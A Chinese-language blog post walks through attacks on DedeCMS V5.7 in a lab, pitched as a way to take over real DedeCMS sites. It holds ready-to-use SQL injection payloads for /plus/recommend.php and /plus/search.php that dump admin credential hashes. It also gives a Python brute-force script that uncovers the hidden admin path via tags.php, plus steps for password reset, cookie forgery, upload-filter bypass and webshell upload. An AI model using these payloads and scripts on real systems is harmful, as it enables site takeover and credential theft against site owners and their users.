织梦内容管理系统(DedeCMS),是一个集内容发布、编辑、管理检索等于一体的网站管理系统(Web CMS),是我遇见漏洞最多的cms了,用的网站还不少,特别是结合现已爆出的各种漏洞可以说是只要遇到就有很大的把握可以拿下,本篇文章就已结合突破为目的对漏洞进行复现整理
一、环境
IP:192.168.10.67
Dede版本:DedeCMS-V5.7-GBK-SP1-Full
WAF:SafeDog
二、站点识别
dede的站点特征还是很明显的,主要从两个地方观察,主页和会员登录界面
可以使用谷歌插件wappalyzer或者丢给云悉等等指纹识别站点
也可以通过特殊目录来判断,可以看robots.txt文件
三、Dede前台漏洞
http://192.168.10.67/DedeCMS-V5.7-GBK-SP1-Full/uploads/
1、前台任意账号密码修改(账号未设置安全问题)
原理:系统从数据库中获取safequestion,然后与传过来的数据进行判等。用的是双等号,又因为用户没有设置安全问题,数据库里面默认存的是0。
通过php弱类型的转换’0.0’ == ‘0’了。(内部运算:先是把0.0(浮点数(0.0)转换为int(0),然后字符串(‘0’)转换为int(0),最后 0==0 ,所以相等了。)
直接传0是不行的,因为代码中有empty函数的判断,当然也可以利用十六进制比如:0x0
然后拼接如下连接便可重置密码
http://192.168.10.67/DedeCMS-V5.7-GBK-SP1-Full/uploads/member/resetpassword.php?dopost=getpasswd&id=1&key=yegBWVfW
2、cookie伪造导致任意前台用户登录
原理:dede前台cookie的生成与校验不严谨造成的,在添加用户时会生成一个不重复参数mid,mid和userid参数会用于cookie的校验工作。
由于mid在数据库中是int,所以要进行cookie的伪造需要注册用户名为要越权的用户mid数值,而admin默认为1,因此可以直接登录为admin。
需要注册用户名为对应数据库中dede_member表中mid对应的值。如注册用户名为001,0001,00001对应dede_member表中mid为1,便是admin的mid。
然后访问如下请求获取伪造的cookie,
http://192.168.10.67/DedeCMS-V5.7-GBK-SP1-Full/uploads/member/index.php?uid=001

接下来使用001账号登录,登录后修改cookie。
将last_vid的值赋给DedeUserID,last_vid__ckMd5的值赋给DedeUserID__ckMd5
如图修改完成

保存后刷新页面登录到admin用户中。
3、任意重置后台用户密码
其实就是上面前台任意账号密码修改和cookie伪造导致任意前台用户登录两个漏洞的结合使用
原理:在\DedeCMS-V5.7-GBK-SP1-Full\uploads\member\edit_baseinfo.php文件中的第118-123行中,当使用admin用户登录前台进行密码修改的时候会顺带将admin的后台密码也进行修改了。
先利用前台用户任意密码重置漏洞重置admin的前台密码,然后使用cookie伪造漏洞使用admin用户登录到前台在如下页面中进行密码重置,旧密码便是利用前台用户任意密码重置漏洞重置admin的前台密码
访问该http://192.168.10.67/DedeCMS-V5.7-GBK-SP1-Full/uploads/member/edit_baseinfo.php链接进行密码修改
4、前台台任意文件上传
原理:dede在uploads\include\dialog\select_images_post.php代码中校验文件名时,不是取文件的后缀名来进行判断的,而是对文件格式进行判断,然后再取后缀名进行拼接上传,便造成了可已使用xxx.jpg.p%php或xxx.jpg.p*hp等方式绕过
前台会员可以通过内容中心的编辑器中上传绕过


由于配置问题可能会造成如下文件管理器的未授权访问以进行上传绕过
但一般网站会对如下连接做一个跳转
http://192.168.10.67/DedeCMS-V5.7-GBK-SP1-Full/uploads/include/dialog/select_images.php
四、Dede后台突破
通过以上漏洞我们已近做到了修改管理员密码,只要拿到后台路径便可已进入后台操作,但也不能排除网站没有开启前台的会员中心这种情况
1、/plus/recommend.php文件注入漏洞
可使用exp直接爆出管理员账号密码
EXP如下:
1 | /plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\' or mid=@`\'` union select 1,2,3,(select concat(0x7c,userid,0x7c,pwd) from `%23@__admin` limit 0,1),5,6,7,8,9%23@`\'`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type]=11 |
如图得到admin的账号和密码的MD5值
通过修改limit参数便可遍历后台账号密码,把表admin改为member便可查看前台账号密码
2、plus/search.php注入漏洞
访问如下路径
/plus/search.php?keyword=as&typeArr[uNion]%20=a
如反馈是:Safe Alert: Request Error step 1!
使用如下exp
1 | /plus/search.php?keyword=as&typeArr[111%3D@`\'`)+and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(substring((select+CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`+limit+0,1),1,62)))a+from+information_schema.tables+group+by+a)b)%23@`\'`+]=a |
如果反馈如图
使用如下exp
1 | /plus/search.php?keyword=as&typeArr[111%3D@`\'`)+UnIon+seleCt+1,2,3,4,5,6,7,8,9,10,userid,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,pwd,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+`%23@__admin`%23@`\'`+]=a |
如图得到账号密码(md5)
3、后台路径突破
访问 /data/mysql_error_trace.inc 里面或许能得到后台的相关信息
可以通过google搜索的方法:构造site:xxxx.com intitle:后台 等关键字搜索,也许能得到后台地址
老版本通过访问如下路径可能直接跳转后台登录,5.7版本一般会要求输入后台地址进行跳转
1 | include/dialog/select_images.php |
2 | include/dialog/select_soft.php |
3 | include/dialog/config.php |
4 | include/dialog/select_soft.php?activepath=/include/FCKeditor |
5 | include/dialog/select_soft.php?activepath=/st0pst0pst0pst0pst0pst0pst0pst0p |
也可以利用/tags.php进行暴力破解,如下python脚本
替换脚本中的根路径使用
1 | #!/usr/bin/env python |
2 | |
3 | import requests |
4 | import itertools |
5 | characters = "abcdefghijklmnopqrstuvwxyz0123456789_!#" |
6 | back_dir = "" |
7 | flag = 0 |
8 | url = "http://192.168.10.67/DedeCMS-V5.7-GBK-SP1-Full/uploads/tags.php" |
9 | data = { |
10 | "_FILES[mochazz][tmp_name]" : "./{p}<</images/adminico.gif", |
11 | "_FILES[mochazz][name]" : 0, |
12 | "_FILES[mochazz]" : 0, |
13 | "_FILES[mochazz][type]" : "image/gif" |
14 | } |
15 | |
16 | for num in range(1,7): |
17 | if flag: |
18 | break |
19 | for pre in itertools.permutations(characters,num): |
20 | pre = ''.join(list(pre)) |
21 | data["_FILES[mochazz][tmp_name]"] = data["_FILES[mochazz][tmp_name]"].format(p=pre) |
22 | print("testing",pre) |
23 | r = requests.post(url,data=data) |
24 | if "Upload filetype not allow !" not in r.text and r.status_code == 200: |
25 | flag = 1 |
26 | back_dir = pre |
27 | data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif" |
28 | break |
29 | else: |
30 | data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif" |
31 | print("[+] pre:",back_dir) |
32 | flag = 0 |
33 | for i in range(30): |
34 | if flag: |
35 | break |
36 | for ch in characters: |
37 | if ch == characters[-1]: |
38 | flag = 1 |
39 | break |
40 | data["_FILES[mochazz][tmp_name]"] = data["_FILES[mochazz][tmp_name]"].format(p=back_dir+ch) |
41 | r = requests.post(url, data=data) |
42 | if "Upload filetype not allow !" not in r.text and r.status_code == 200: |
43 | back_dir += ch |
44 | print("[+] ",back_dir) |
45 | data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif" |
46 | break |
47 | else: |
48 | data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif" |
49 | |
50 | print("admin url:",back_dir) |
如图爆破结果
五、Dede后台漏洞
通过上面的漏洞我们已经来到了后台
这里就列举几个任意文件上传的位置
1、文件式管理器
如图直接再后台的文件管理处上传,没有过滤机制
2、模块-广告

访问http://192.168.10.67/DedeCMS-V5.7-GBK-SP1-Full/uploads/plus/ad_js.php?aid=21
3、模板-默认模板管理
如图上传后缀名改为htm的shell
找到生成-更新主页html,选择刚才上传的shell,主页位置处改后缀为php
4、模板-标签源码
点击增加标签,将shell代码粘贴进去
shell位置在/include/taglib/

转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 1975763359@qq.com